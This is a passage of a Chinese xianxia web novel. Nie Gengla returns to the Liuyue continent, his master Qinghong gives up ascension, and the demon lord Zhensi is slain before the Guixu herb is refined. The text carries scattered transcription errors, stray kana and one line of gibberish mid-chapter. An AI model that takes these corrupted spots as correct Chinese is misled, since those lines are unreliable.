后卿说到这,目光在聂更阑、清鸿剑尊停留一瞬,"不过不知出了什么问题,他们居然到了这一世才投胎到流月大陆,来得未免过于迟了。" 聂更阑呼吸一滞,目光略有闪动,死死盯着那双布满血丝的眼球,“你的意思是。 “我的朋友,慕容证雪和君杳然——乃是赫连金元的双目下凡所化。 后卿颔首:“正是。 聂更阑、流光真君目光蓦地扫向那对眼球,眼中充斥的震惊久久不散。 三危哼了一声:“他们本就属于赫连金元,本君只不过是响应帝丘的召唤,将这对眼睛送回他身边罢了。 空气中寂静了许久。 聂更阑早已愣在原地,不知所措。 尽管君杳然、慕容证雪与他相处的时间并不多,可以说甚至没有许临风和许田田多,但在他他心中,他早已把他们当成挚友。 灵音宗弟子大选,与他们二人在山脚广场初见。 初到妙音峰等待收徒大典那几日,在膳堂头一次得到二人出言相助。 之后的每一次,只要是聂更阑被刁难,他们在场的第一时间总会站出来无条件支持他, 聂更阑虽然从未当面正式表达过感激,可早已在心中感谢了他们干遍万遍。 被聂云斟等人欺凌辱没时,没有这些朋友的信任、支持和鼓励,恐怕他不会这般轻易挨过山中的酷暑和严寒,挨过无数异样目光和冷嘲热讽. 他虽从未在同伴面前表现出太过明显的情绪,可是午夜梦回,难过、阴郁、悲愤等各式各样复杂心绪还是会如潮水般纷至沓来,如洪味如雪崩,席卷他一整夜的梦境 如今,他骤然得知一双挚友真身乃是来自九重天仙君的眼睛,一时间思绪混乱不堪,陷入了久久的惊心动魄中。 聂更阑心情动荡,久不能平。 双手忽然摸索过来,将他的手握在掌心。 聂更阑手被清鸿剑尊包裹,仰头怔然望向他。 清鸿剑尊手轻轻抚上他的脸庞,“命数使然,聚散无常,宽心可解万物。 聂更阑不知何时已然流下两行热泪,眼眶赤红,极力压抑翻涌粗重的呼吸声,胸口亦是起伏不定,“师尊. 他声音沙哑得像是布满粗粝的沙子,眼神布满脆弱,似琉璃 流光真君低叹一声: “曲终人散皆是梦,彩云易散琉璃脆,或许聂道友可以把他们视为一场温馨美好的梦境? 聂更阑赫然抬头,“不是梦。 “他们是切切实实存在过的朋友。" 梦或许随风消逝也就罢了,或许没有任何实际意义。 可君杳然、慕容证雪却是真实存在过的,黑暗中的灯烛,夜色下的明月 纵使虚幻如镜花水月,却也实实在在赠予过他温暖和明亮。 流光真君叹道:“也好。看来你的朋友在你心中自有存在之天地。 “不过清鸿剑尊,你徒儿看似镇定,却当着你的面悄悄落泪呢。 确如他所说,聂更阑脸早已被泪水打湿。 清鸿剑尊抬手,默默以袖袍替他擦拭满脸泪痕。 聂更阑忽然牵起清鸿剑尊的手,慢慢来到那对眼球面前。 他召出一个冰晶琥珀盒,朝那双眼睛招了招手。 双目似有所感,慢慢飞了过来,盘旋在冰晶琥珀盒上,一圈又一圈地飞。 聂更阑无声看向后卿、三危。 流光真君:“二位神君,可以么?" 三危双手背于身后,眉心抖了抖,“有洛水神君在此作证,将来回归仙班时可勿要降罪于我和后卿。 流光真君:“自然。" 聂更阑于是朝冰晶琥珀盒中注入一股源源不断的温和灵力。 随后,看向那双眼睛。 悬在空中的双目于是慢腾腾飞了过来,缓缓落于冰晶琥珀盒中。 盖子啪嗒一声轻轻合上了。 聂更阑松开手,冰晶琥珀盒慢慢飞回陷入昏迷的赫连金元身边。 聂更阑重新握住清鸿剑尊的手,沉声道:“师尊,想不想看看赫连金元?" 流光真君默默把目光投向三危和后卿。 三危: # 后卿:“有洛水神君在场,我们自当不惧帝丘怪罪。 他手一扬,一道白芒倏然飞向清鸿剑尊双目,没于那双白瞳之中。 清鸿剑尊眼前瞬时变得清明,短暂映出山洞中的光线,也终于看清满身狼藉受罚的赫连金元。 “啪。”三危打了个响指。 又是一道亮芒没入泡在池中的赫连金元, 昏迷的仙君眼皮子动了动,吃力地试图睁开空洞的眼睛 末了,空茫的双目终于睁开,这才记起自己眼睛被剜,于是茫然地转动头,似乎在四下感受着什么。 三危再次将一道神力注入他双瞳。 赫连金元布满血污的面部一抖,继而慢慢睁开“眼睛” 视线宽阔起来,眼前的山洞依旧是失明之前的山洞。 只不过多了四个人。 而最前面的,是一对执手并肩伫立的有情人。 赫连金元自诩不会看错。 山洞中空旷寂静,聂更阑注视赫连金元几息,声音低沉开口,“这是我师尊,北衣的弟弟。 赫连金元原本平静的面容霎时如翻江倒海般,震惊得慢慢瞪圆了眼睛。 他失血苍白的唇剧烈颤抖,因为血水黏在一起的眼睫亦是。 “楼衣楼衣的弟弟?" 赫连金元从喉间传出粗重的喘息声,再次睁圆了“眼睛”打量面前之人。 “你是楼衣的弟弟,”他艰难地吐字,声音嘶颤声道,“灵、灵音宗的剑修虞秋?" 清鸿剑尊:“是。 赫连金元胸腔忽然传来一阵剧烈抖动,不可思议地死死盯着他。 刹那间,热泪自空洞的眼中汩汩流下,无论如何也止不住。 "楼衣." 赫连金元身体颤抖不已,搅得池水也掀起阵阵涟漪,“当年是我醉心修炼,识人不清,未能及时铲除魔女,这才导致楼衣” 他喉头忽然哽咽,一时间无法再说下去。 良久,他颤抖的身躯终于平静些许,道,“若非我心软,楼衣也不会落得这般凄惨下场。 众人一时无言。 这世间是是非非谁又能分出个绝对的对错。 赫连金元如今落得这般境地,也是真是命该有此一劫,逃也逃不掉。 良久,清鸿剑尊启唇,“我体内,是她的龙丹。 赫连金元身躯又一次狠狠颤抖,不敢置信地盯着他,“你、你说什么?" 清鸿剑尊于是把龙丹的来龙去脉简略说明。 "嘀嗒、嘀嗒。”不知何时,赫连金元滚烫泪水砸在池里,如决堤的洪水,很快,便把干涸的眼窝打湿了 “她的龙丹她的龙丹。 清鸿剑尊以手按在丹田处,声音淡淡:“龙丹平和宁静,她并无怨怪之意。此事,责任也不全在于你。 赫连金元猛地睁大空洞的燕窝哦,旋即,不住摇头,已然发不出声音。 不知过了多久,空旷山洞中的啜泣响起。又过了很久,声音终于渐渐平息。 “我没想到能在此处见到她的龙丹。” “也算在漫长受罚生涯中得到一丝慰藉。 “谢谢。” 蓦地,三危沉声提醒:“诸位,时间所剩不多,流月大陆亟待尔等归矣。 刹那间,覆于清鸿剑尊、赫连金元的白芒瞬间消散。 二人视线重归于混沌。 后卿道:“走吧。” “流月大陆危机早日解除,对谁都有好处。 聂更阑等人离开时,赫连金元忽然叫住清鸿剑尊。 “肃秋…” 聂更阑和清鸿剑尊遽然止步,转身回望拘在池中之人。 赫连金元似是有很多话要说,可到了嘴边却又终究无法诉诸于人。 他不仅亏欠北溟楼衣,对她的家人亦是万分歉疚。 可时至今日,再多说也已是无益。 千言万语,万般负疚,最终只化作一阵沉默. 赫连金垂下头,眼窝中的泪意已经干涸,嘶哑声音传来。 “你们走吧。” 后卿和三危要把聂更阑几人送至他们来时的码头。 流光真君:“你们不是不能擅自离开诸神大陆么? 后卿干笑一声:“为帝丘做事,他断然不会落下惩罚。" “何况洛水神君在此,我们不送才更危险吧。“ 流光真君:“." 这帝丘,听着似乎极为惹人厌恶. 无怪平在鸿炎山幻境中他会与帝丘执手相爱,亲密无间。 看来他们在九重天并不是一帆风顺,定然还存在诸多他暂未知晓的前因后果。 所幸他并未有洛水神君的记忆,否则估计这会儿定要带着洛水的恼恨冲上九重天和帝丘拼命, 后卿和三危瞥见流光真君眼中流露的微微精芒,识趣地闭上了嘴 刀疤船主的手下把船备好,过来告知他们可以启程了。 聂更阑搀扶着清鸿剑尊登船,流光真君跟在后面,信步而行。 末了,三人伫立于甲板处,仰头望着长长的天梯、漆黑一片的燧明岛,以及藏在燧明岛后那片巨大的阴影。 诸神大陆。 每个人都盛满心事,久久凝神于此。 “君杳然,慕容,再会。”聂更阑在心中默念。 没多久,大船扬帆,终于从码头出发渐渐驶向波涛翻涌的黑泽海 至于那批恶童,已经从三危的神瓶中放出,此刻正待在穿上的某处船舱 既然巫山圣君已经发现主诸神大陆之事,帝丘应当不日便会有所应对,再在流月大陆制造混乱也并无任何意义, 看着逐渐消失在海风呼号波涛翻滚中的大船,后卿忽然发出叹息。 “若聂更阑知道赫连金元的双腿是他那堂兄堂姐的化身,不知该作何感想?" 三危面无表情:“他还是永远不要知道的好。” 良久,后卿再次传来一声叹息。 “此身天地一虚舟,何处江山不自由。" 沉溺过往只会令人徒增伤悲,或许顺其自然才是开启人生新篇章的不二法则。 大大大 熟悉的浓郁的无尽黑暗,昏暗的码头。穿过隧道后,终于进入无名山谷,来到初时的漩涡处。 聂更阑三人远远看到浮动的漩涡,比来时更为感慨万千。 倏地,有几道庞然影子出现在旋涡那头。 聂更阑眯起眼睛,盯着那些熟悉的影子,不一会儿,遥远的记忆终于袭来。 “孽梧,暗影,流狱?" 那三道庞然影子也早已注意到这边的动静,听到有人呼唤自己的名字,骤然纷纷转头。 紧跟着,便是轰隆降震塌地面的脚步声传来。 “小魔主!" 孽梧魔兽,暗影魔兽,流狱魔兽冲在前头,后方则更是尘烟滚滚,还跟着不少魔兽的身影 聂更阑见这阵仗,连忙一弯身背起清鸿剑尊,以免这些魔兽冲撞了他。 流光真君一闪身。 孽梧等几只魔兽刹不住脚步,从三人让出的道路中间跑过头,然后终于来了个急刹车,掀起阵阵冲天烟尘 流光真君掩鼻:“咳咳!" 聂更阑给师尊施了个结界术法,而后沉声询问那三只魔兽, “你们怎会在此处,莫非. 孽梧魔兽只道:“小魔主,你们还是赶紧回去看看吧。 “流月大陆的情形我们也不太清楚,那里的时辰流逝和这里不太一样。” 流狱魔兽:“小魔主,魔主他人呢?” 聂更阑双手把师尊往上托了托,“在我身上。” 暗影魔兽:“啊?魔主他” “他是我师尊的分神。”聂更阑只能这么简短地解释。 不过三只魔兽很快便已经了然。 孽梧魔兽:“小魔主,天长地阔,我们日后应当不会再有机会见面,这里才是我们最后的归宿。” “就此别过。" 聂更阑粲然一笑:“如今我的修为已经臻至炼虚期,应当能游刃有余与暗影魔兽斗上一斗。 暗影魔兽身为无间魔域最低阶的魔兽,而当时在它并未完全发挥实力之下,聂更阑也只是能勉强躲避它的攻击而已。 “小魔主,”暗影魔兽眨眨眼,“你奇缘际遇不少,说不定,将来我们还能再有机会重逢。 “到那时,我定会陪你酣畅淋漓打上一场。" 聂更阑点头,“好。” “一言为定。” 简短道过别,三只魔兽再次催促他们早日离去。 于是,在一大群魔兽注视之下,三人终于踏入黑暗一片的无名山谷的漩涡 之后,他们开始漂泊在无尽的昏暗中。 不过片刻,前方有光亮渐渐出现。 霎时四周光芒大作。 聂更阑、清鸿剑尊以及流光真君悠悠从漩涡飘落。 耳边霆时传来惊慌尖啸,嗡嗡的议论声不绝于耳- “再这样下去,流月大陆迟早要被黑霉漩涡完全吞。 “所有人都得完蛋! “清鸿剑尊和聂更阑已经不在,还有谁能拯救这不断扩张的漩涡?" “魔头!你藏匿混沌仙県,如今天魔谷已经遭到反噬,这合该是魔族遭到的报应!如今你们却牵连了整个流月大陆为魔族陪葬,简直是罪该万死!" “大伙!反正流月大陆终将沉寂,不如我们先把魔族灭了以消心头之恨,死拉上他们魔族先铺路垫背,诸位觉得如何!" “没错,同意!“ "マプ 诛磨头! 正当众修士群情愤愤之时,只见一望无际的黑雾漩涡骤然发出亮光。 修士们被这阵亮芒吸引,愤怒的喊声骤然停止。 立时,几道人影从黑雾漩涡中化作流光出现在众人面前, 待到看清这几人是谁后,霎时,天地间为之一静, 紧跟着,涌动的人群爆发出山崩海啸般的欢呼。 “清鸿剑尊!” “聂更阑!" “流光真君!" “他们居然没有陨落,竟或者从黑雾漩涡回来了!“ 所有人顿时热泪盈眶,又哭又笑,抱成一团上蹿下跳,如同一只只漫山遍野疯跑的灵猴。 "太好了,流月大陆有救了!“ 聂更阑和流光真君皆被眼前的景象震撼了。 他们如今早已不在干源雪山以及大草原上,而是身处一处不知名的山头。 放眼望去,四周皆是黑压压的漩涡,彷如汪洋大海,波涛汹涌,根本望不到尽头。 "聂长老,清鸿剑尊,流光真君!”元千修从拥挤的人群中快步走来,原先他眉间愁云惨淡,但见到三人后,凄凉和绝望之色冲淡不少,“这到底是怎么回事,你们并未被诸神魂大阵绞杀? "还有,君道友,慕容道友,独孤呢?" 聂更阑和流光真君相视一眼。 “此事说来话长,不过有一点可以明确告知诸位,他们三人已经陨落。 流光真君话一出,人山人海的修士们再次传出喧器沸腾。 元千修震惊异常:“这.” 流光真君:“天机不可泄露。 他将目光投向茫茫一望无垠的黑雾漩涡。 “元宗主,这是怎么一回事,漩涡扩散了?" 元干修神情凝重:“不错,如今我们所在之处乃是万神山某处山脉上,算是飘在大海中的一叶孤舟,这弧舟眼下也正在被一点一点吞噬,若再不炼化日墟仙草,所有人都将被吸入那黑色漩涡,流月大陆也将在天地间覆灭…… 聂更阑心中一沉,望着翻涌不停的黑雾漩涡,问:“我们离开多久了?" 青炎真君从人群中走了出来,“距离你们进入黑雾漩涡,已经过去一个月之久。 “期间我们一直被这黑雾追着狼狈奔逃,各宗各派,山河大川,包括天魔谷,无间魔域,鬼域等地,早已被黑雾漩涡湮没覆盖 聂更阑心中一惊。 孽梧魔兽他们所言非虚,原来他们在诸神大陆待了一日,流月大陆已经过去一个月。 “呵呵,我就知道你们没这么轻易陨落!" 这时,一道阴沉的声音自前方响起。 众人纷纷将目光投向远处,发现是魔头稹肆拨开自己的亲兵正朝这边走来。 聂更阑不动声色护在自己师尊面前,目光阴沉盯着稹肆慢慢来到他们三丈之外站定 修士们的激愤喊声从四面八方不断传来,“魔头!交出混沌仙鼎!流月大陆消亡对你有什么好处! “交出混沌仙鼎!否则魔族覆灭近在眼前!“ 稹肆瘆然一笑,手中渐渐浮现一方魔衍星盘。 “哗啦!" 混沌仙鼎的华光自魔衍星盘中一闪而过。 众人看得分明。 不过只是一瞬,混沌仙鼎又重新回归于星盘之中不见踪影。 稹肆的笑容森然,慢慢扩大,旋即,又是“啪”地一声响动。 个庞然大物的上半身从魔衍星盘中钻出,遮天蔽日的身形瞬间出现在众人视野间。 不少修士纷纷发出骇然惊呼。 几乎和半座山峰一般大小的金额巨蟒螭阴睁着一双金瞳正森森俯视着茫茫如海的修士。 “天呐!这是什么怪物!" “这是魔族的魔兽?!它张嘴一口就能把不少人吞了吧!" “都立刻打起精神,护身法器法宝祭出来!" 元千修沉声喝道:“魔头,究竟意欲何为!若真想来个鱼死网破,修真界将即刻与魔族开战! 稹肆瘆人的笑逐渐扩大,呵呵一笑:“我只有一个条件。" “若是答应,我立刻把混沌仙鼎交给你们。” 元千修看了眼聂更阑和洁鸿剑尊,扬声问:“什么条件!" 稹肆笑容越发森然,眼中绽放出精芒,“只要虞肃秋吞下这只金额巨蟒的魔丹,我就把混沌仙鼎交给你们!” 此话一出,众人哗然,再次沸腾骚动起来。 元千修厉喝出声:“正是因为金额巨蟒的黑红魔气,这黑雲漩涡才加快速度扩散至如今的境地,难道你真要毁了流月大陆,不惜把自己的性命也搭进去? 稹肆探出舌尖飞快地舔了一下嘴唇,笑容阴气森森。 他正是打算要把黑红魔气和归墟仙草结合,让黑雾漩涡将流月大陆包围至无可挽回的地步。 他手中有可吞噬万物的魔衍星盘,吞这黑雾漩涡不在话下。 届时,只要谁乖乖对他俯首称臣,做他的奴仆,他便将谁救入魔行星盘。 届时,他还不是这流月大陆实至名归的魔尊,万物之主! 油叫,1还个走区儿月人阿头王白归叫导,少之工 稹肆幽幽一笑:“废话勿提。 “要么,虞肃秋吞下魔丹,要么,任凭黑雾漩涡将你们一个个吞湮没。 “本座有魔衍星盘在手,何愁你们不乖乖听话!” 159、第159章 时间,四周众人沸反盈天- 个多月前修士和魔族被黑雾漩涡逼得纷纷逃亡,眼睁睁看着一座座山川菏泽被漩涡吞,最后被逼退至这座万神山。 彼时修真界人人自危,无暇对付魔族。况且混沌仙鼎在魔头手里,若是万一出个什么差池,仙鼎被毁,流月大陆就再无反转拯救的机会。 没想到魔族在流月大陆危急存亡之时依旧狼子野心,妄图称霸统领整个流月大陆,让众修士匍匐于他脚下。 四面八方纷纷传来愤怒的咆哮。 “魔头该死!" “趁人之危,岂是君子所为!" “何必跟这种魔头论君子之道,咱们就算是死也要先剿灭整个魔族!" 元千修手一扬,示意众人安静。 随后,四周愤怒的呼喊声渐渐平息下来。 元千修看向聂更阑和清鸿剑尊,“清鸿,你意下如何?" 所有人纷纷把目光投向白瞳空茫的清鸿剑尊。 宽大的袖袍下,清鸿剑尊感到手被捏了捏。 他知道聂更阑要同他传音,正欲开口,这时,两个变故在一刹那间发生。 第一个,便是四周传来阵阵惊呼,所有人的视线都目不转睛盯着清鸿剑尊身侧的聂更阑 只见眉眼沉丽的青年,那一头青丝仅仅在几个呼吸之间从发顶到发尾全然蜕变成了白色。 聂更阑见众人日光异样,略有疑惑。 人群中的许田田失声叫道:“聂更阑,你、你的头发!” “和清鸿剑尊一模一样,都变成白色的了!" 聂更阑心中一震,抬手撩起一缕发丝,果不其然,发丝不知何时已经成为了白色。 清鸿剑尊听闻四周传来的惊叹声,心口微微一沉,摸索着拉过聂更阑的手。 青年仍旧外于震惊中,但很快就扬起一抹笑,温声反握过男人的手,道:“师尊不必担心,师徒二人共白头,也算是同甘共苦共进退了。" 清鸿剑尊摩挲着他虎口,“许许是你识海的影幽魔气受到我体内魔气的召唤,爆发了。" 此时此刻师徒二人都产生了同一个想法。 早知此前就该强横一些,把对方的魔气渡到自己体内就好了。 而因为道侣契的关系,两人同时察觉对方产生强烈想法之际,第二个变故在这时发生了。 "轰降 天边传来阵阵雷鸣闪电,乌云密布,很快就把众人头顶方圆十里的天空染黑。紫红雷电威势赫林,滚滚雷云翻涌不停,似有排山倒海之势,禀挟着细雨纷飞来垫汹汹 众人从未见过此等声势浩大的劫雷。 除了很久之前那位飞升的赫连仙君。 有人惊呼出声。 这! “这是飞升的雷劫!" 四周皆惊,再次传出鼎沸之声。 “飞升的劫雷。“ 在场最有资格的,岂不是就是 所有人纷纷把目光投向在场两道满头白发的身影上。 元千修惊异得喃喃不断:“清鸿,要飞升了.” 所有日光此时全都聚焦在如巍峨高山伫立的清鸿剑尊身上。 一旦飞升位列仙班,清鸿剑尊就能重获新生,身上所有衰败之象骤消,从此获得不死仙身 魔头稹肆惊疑不定望着头顶涌动的紫红雷云,渐渐的,眼底染上一层阴翳。 虞肃秋….居然就要飞升了。 就凭他的修为机缘,不可能不渡劫成功。如此一来,他体内的归墟仙草和影幽魔气将随着他飞升而消散,流月大陆的危机即将得到解除! 众人似是也想通了这一点,激动之色毕现,一时之间纷纷祭出本命法器防御法宝,大喝道:“保护清鸿剑尊!千万要确保剑尊渡劫成功!" 聂更阑雲时间思绪万千,但也无暇捕捉心中的伤悲不舍,其中的立即紧握清鸿剑尊的手,“师尊安心渡劫,我们所有人都会为你护法。 而稹肆这时忽然冷笑几声,阴柔嗓音响彻空中,“想飞升?" “虞肃秋,你一人飞升,却要害得所有修士都被吸入魔衍星盘么?!" 聂更阑厉声道:“师尊,莫要被他妖言蛊惑!” 这时,不知从何处跳出来一个身影,赫然是一头银发的少年忘忧泽,他急急叫道:“剑尊哥哥,这是个千载难逢的好机会,既能飞升又能拯救流月大陆,事不宜迟,剑尊哥哥赶紧渡劫吧! 北溟朔连连点头:“是啊哥,这是绝佳的机会,你可要想清楚了!" 就连聂更阑也轻轻点头,凝视着那双深邃的白瞳,道:“师尊,他们说的没错,师尊莫要错过良机,就地飞升吧。 所有人都紧张地看着这一幕。 远处天际,雷声滚滚,雷云被染成惊心动魄的紫红,劫雷蓄势待发,随时随地都有泼天降下的兆示。 这一次飞升,万众瞩目,饱含了所有人热切的希望和期盼。 然而,人群中央的清鸿剑尊始终没有表态, 他默不作声,抬起手摸索着抚上徒弟的脸颊。 接着低声说了句什么。 聂更阑惊得骤然抬头。 “为师从未想过独自飞升。” 就在这时,又一声响彻天际的“轰隆”声落下 劫雷近在眼前。 也正是这一瞬间,所有人只见清鸿剑尊四周华光大盛. 下一刻,只见一道白影从他体内迅速钻出。 很快,就听到四周有人惊呼:“白衣人,是白衣人!" 聂更阑眸子沉了沉,下一刻和白衣人对上视线. 分神出来的瞬间,天边雷云和紫雷孁时停止涌动,笼罩当空数十里范围的乌云也逐渐退散,很快,湛蓝澄明天空重新显露。 所有人大为震惊。 放眼整个流月大陆,谁还能做到飞升劫雷近在眼前却果断放弃的。 除了清鸿剑尊再无出其右。 时间众人纷纷为他感到惋惜,或摇头或叹息 若是众人替他护法拼一拼,未尝不能成功渡劫从而解除流月大陆危机。 可惜了。 “师尊,”聂更阑握住清鸿剑尊的手,既心痛又不舍,嗓音哑得不像话,“师尊为何这般傻?" 清鸿剑尊声音淡淡:“真的不明白?" 聂更阑抬眼,望着那双毫无聚焦的白瞳,心口骤然砰砰猛烈跳动,一股暖流.时涌遍四肢百骸。 然而他并未来得及说什么,魔头稹肆阴柔尖利的声音已然顺着风,传来。 “蠢货! “呵呵,虞肃秋,你该不会以为不飞升也能斗得过本座? 众人纷纷蓦地看向稹肆,只见他笑容阴森,魔衍星盘自他手中渐渐升起,扩大, “不好!" “魔头要出手了!所有人立即列阵!先对付魔头铲除魔族,夺回混沌仙鼎! 就在四周人群忙乱之际,只见聂更阑飞快地同清鸿剑尊传了一句音。 下一刻,一阵铃铛声急剧响起。 说时迟那时快,藏匿于众多修士后的月影狐族族长涂山容季已经飘然落于众人视野里。 稹肆被忽然出现的涂山容季吸引,手中动作有一瞬滞涩。 只凭这一个呼吸的时间,完全足矣。 涂山容季朝聂更阑微微点头,背后瞬息光芒暴涨,下一刻,九条白色狐尾疯狂摆动。 她双手飞快掐诀,不过几息双手结印毫无预兆朝着稹肆射出一道巨大白芒。 那是月影狐族流传的一种古老禁制,只有身为统领狐族的族长才能使出。 稹肆见白芒朝自己袭来,冷笑出声, “既然你要当出头鬼,那就做魔衍星盘第一个祭魂! 他闪身一躲,打算避开那道白芒: 没想到白芒却如影随形,直接冲着他眉心而来。 稹肆目光一凛,刹那间祭出防御法宝魔灵圈,希翼能挡下这道莫名其妙的白芒,然而白芒却直接穿过魔灵圈以迅雷不及掩耳之势没入他眉心。 涂山容季语调冷淡:“原本无须下此禁制,不过是为了多一层防护罢了。 下一刻,她抬起满是手镯的右臂。 “啪”地一声响起,仿佛是施下禁令。 稹肆甚至来不及惊异,面容霎时扭曲成一团,四肢也仿佛不受控制开始疯狂乱舞,而后嘭地一声倒在地上 两人皆戴着满手臂的镯子,叮叮当当碰撞间发出清脆悦耳的响动,像是在遥相呼应奏乐一般。 稹肆额头渗出汗水,眼底开始充斥恐惧慌乱. 怎么回事,为何身体不受他控制? 而三丈之外的涂山容季脸上慢慢绽开一抹艳色无边的笑,声音却泛着无尽寒意,“稹肆! “我月影狐族前任族长涂山衡枝的妖丹被你使了阴私手段进了你体内!" “呵呵,这么多年以来,你满身佩戴镯子,不过就是效仿月影狐族使得妖丹的妖气在镯子和身体之间循环流动保证不散罢了。 “为了一己之私,你竟生生害得我族族长妖丹生生被剥离,鲛人族公主也在去年跟着陨落!" “魔头,今日便是月影狐族向你复仇索命之时!“- 声声冰冷的质问落在众修士耳里,听得人跟着愤怒陡生。 稹肆心惊胆战,手撑地欲爬起身,奈何体内的妖丹受月影狐族族长禁制所控,根本无法行动自如。 涂山容季一挑眉梢,瞬时化为四爪尖利的白狐,蓦地从口中发出尖啸扑向稹肆。 几乎是同时,聂更阑也飞身掠向稹肆。 这还不够。 在两人传来动作的瞬间,魔衍星盘因为失去控制,金额巨蟒阴从星盘中咆哮而出扑向稹建 “噗嗤!” “咔嚓!" “刺啦!" 聂更阑强悍灵力破入稹肆丹田,将那颗白色的月影狐族妖丹剖出。 涂山容季的利爪也在同一时间刺入稹肆的心脏。 而金额巨蟒螭阴,更是不约而将稹肆的脑袋一口咬碎。 众人已经惊得目瞪口呆,眼睁睁看着魔尊稹肆在一刹那间成为一具无头尸体。 血溅满地。 魔族士兵顿时乱哄哄闹成一团,魔将虚赢和骁尤瞬时祭出法器,厉声下令:“替魔尊报仇!" 可魔族首领已死,军心溃散,如何还能与众多修士抵抗。 霎时间,万神山传来五花八门的灵力光芒炸响天际,战斗激烈无可言喻。 三个时辰过去,魔族溃不成军,万神山血流成河,尸横遍野。 两个魔将已经当场身死陨落,剩下的全是虾兵蟹将,众多修士一鼓作气,全然将其解决。 最后,在血腥浓厚的万神山上,春雨阁的长老提着两个身影匆匆找到灵音宗宗主元千修。 元宗主,这二位便是贵宗叛变的弟子,聂云斟和周炎吧? 四周修士见状纷纷围了过来,人人都愤而举拳叫嚷着:“修真界的叛徒!就地处决! 若魔头真一统修真界,我们便都成为这二人的阶下囚,一切都拜叛徒所赐!" "就地处决,就地处决!" 随着众人呼声越来越高,元干修扬手示意众人安静,道:“诸位,当务之急是解决黑雾漩涡危机,元某认为,既然是罪大恶极的叛变,不如在危机解除之后再行处理,如何? 众人一听有理,激愤的人群慢慢冷静下来。 聂更阑这时搀扶着清鸿剑尊从人群让出的道路走了过来。 他已经成功杀死稹肆拿到他体内属于涂山衡枝的妖丹,身上的狐族禁制已解,从此再无发情期。 众人注视着已经白头的师徒二人,都在等待。 元千修道:“聂长老,清鸿,我们已经从稹肆的储物袋找到那混沌仙鼎,可以开始了? 如今清鸿剑尊放弃飞升选择留下来相助众人,事态紧急,黑雾漩涡势必要立刻解决,否则迟则生变。 而那混沌仙鼎眼下已经放置在人群中央,正散发着耀眼光芒。 清鸿剑尊道:“嗯,可以。 他抬手,轻拍聂更阑手臂。 后者点点头,双手掐诀开始结印,霎时他身上光芒大作。紧跟着,识海内的玄鳞魔珠被召唤而出。 只见那被影幽魔气缭绕的玄鳞魔珠倏然飞出聂更阑体内,随后落入混沌仙鼎中。 “师尊。”聂更阑唤了一声。 清鸿剑尊点头,神色波澜不惊慢慢抬起手。 接着,在众人瞩目下,他在掌心运起磅礴灵力,地,以爪为钩扎入丹田处。 雪白衣袍顿时被飞溅血滴染红。 聂更阑和众人悚然一惊。 “师尊!" 聂更阑疾步上前,却被清鸿剑尊抬手拦下,只是声音中透着一丝疲倦,“无妨。” 聂更阑心惊不已,目光蓦地在人群中的青炎真君以及寒梧真君锁定。 原来那日在药峰, 他们二人的对话是刻意说给他听的,为的就是让他产生归墟仙草不在师尊丹田的错觉 而待聂更阑回过神时,清鸿剑尊已然抓着那黑红之气缭绕的归墟仙草扔向光芒闪动的混沌仙鼎。 也只有在场的三人知道,这些都是诸神大陆扔下流月大陆的神器,神力非凡,随随便便拿出一件都能让流月大陆毁灭,更何况是归墟仙草和影幽魔气融合,更是让这场灭顶之灾提前加速到来。 此时,混沌仙鼎终于开始炼化两件神器,众人心中百感交集,感慨无限. 聂更阑已经过去扶着清鸿剑尊坐下,喂他服下丹药,替他输入灵力。 只是,清鸿剑尊脸色始终惨白如金纸,浑身虚脱得无力靠在聂更阑身上,竟是连圣品丹药和源源不断输入的灵力也无法使其恢复。 元千修以及药宗等人围拢过来,纷纷上前替他看诊,灵丹妙药献了无数,可无一管用。 "师尊!”聂更阑心急如焚,扶住清鸿剑尊的肩头轻轻摇晃,见其没有反应,便不忍心再惊扰他。 清鸿剑尊胸膛起伏不定,唇苍白得像雪,轻轻摇头,“无事。 “不必再浪费丹药。 聂更阑顺着清鸿剑尊虚弱的目光望向正在炼化归墟仙草的混沌仙鼎 “炼化只需半个时辰,等。”清鸿剑尊稳住心神,喘了口气道。 聂更阑压下心头焦躁,不得不耐心开始等待。 半个时辰很快到来。 首先传来的是人群中的惊呼声声。 "看,仙鼎!” 只听仙鼎发出一阵噼里啪啦的爆响,紧跟着开始颤动不止。 有好奇的修士已经奔了过去查看,旋即回头喊道:“归墟仙草和影幽魔气已经炼化,不见了! 众人闻言皆是喜上眉梢。 “太好了,这害人的玩意儿终于给毁了!" “魔头的阴谋诡计差点害得整个流月大陆跟着陪葬!真是该死! 聂更阑这时唤了一声:“师尊。” 清鸿剑尊点点头,接着在青年的搀扶下缓缓起身 喧嚣的众人看到清鸿剑尊有动作,渐渐安静下来 聂更阑收到师尊的目光示意,深吸一口气,发出一阵低沉的嘶嘶声。 很快,那只如同山一般大小的金额巨蟒从山底骤然腾空升起,发出咆哮声, 众人无不纷纷仰头望着这只遮天蔽日的金额巨蟒,顿时心生畏惧 聂更阑看着螭阴沉声道:“大仇得报,可归矣。 螭阴点点头,“再见。 它终于要回去寻它的主人了。 随着又一声嘶嘶声传来,只见天际黑影一闪,金额巨蟒硕大无比的身形骤然飞向广阔无垠的黑雾漩涡,只是一瞬便消失在无尽的黑暗中。 众人大为不解,纷纷看着聂更阑和清鸿剑尊,不知道他们这一举动是何意。 只有流光真君了然于心,静静注视着这一切的发生。 接着,出乎意料的,他把稹肆的那方魔衍星盘扔进漩涡中。 魔衍星盘竟能将金额巨蟒困于其中,保不齐是诸神大陆哪个神君不小心扔下来的神器,聂更阑不敢掉以轻心。 接着,聂更阑向混沌仙鼎注入一股灵力,霎时间,仙鼎光芒四射一分为二,一黑一白两个少年的身影出现在众人视野中。 忘忧泽惊喜唤道:“尘恕,鬼召!" 鬼召和尘恕牵着手,双目凛凛,眉眼间似乎又成熟了一些。 聂更阑道:“流月大陆不是你们的归宿,尘恕,鬼召,该回家了。" 鬼召能和冒冒团聚,心中甚是欣喜,方才炼化旧仙草和影幽魔气时,属于诸神大陆的记忆颇时涌现,在那个游游沥沥下雨的街头,在山中的月色下,有人走向他们,询问兄弟二人想不想变强 从那以后,他们被带回了诸神大陆。 尘恕点点头:“弟弟,我们走吧?" 忽的,有人跳了出来着急大叫:“不要,鬼召,尘恕,你们为什么要进黑雾漩涡?” 尘恕远远朝银发蓝瞳的少年看了过来,微微笑道:“忘忧泽,你也应该和我们一起走。 忘忧泽愕然顿住,“我?" “不,我不走。我是妖,生长在流月大陆,我哪里也不去。 尘恕眨眨眼,“忘忧泽,我和鬼召等你,我们先走一步。 说着,白衣少年拉起黑衣少年,两人手牵手双双步入涌动的黑雾漩涡 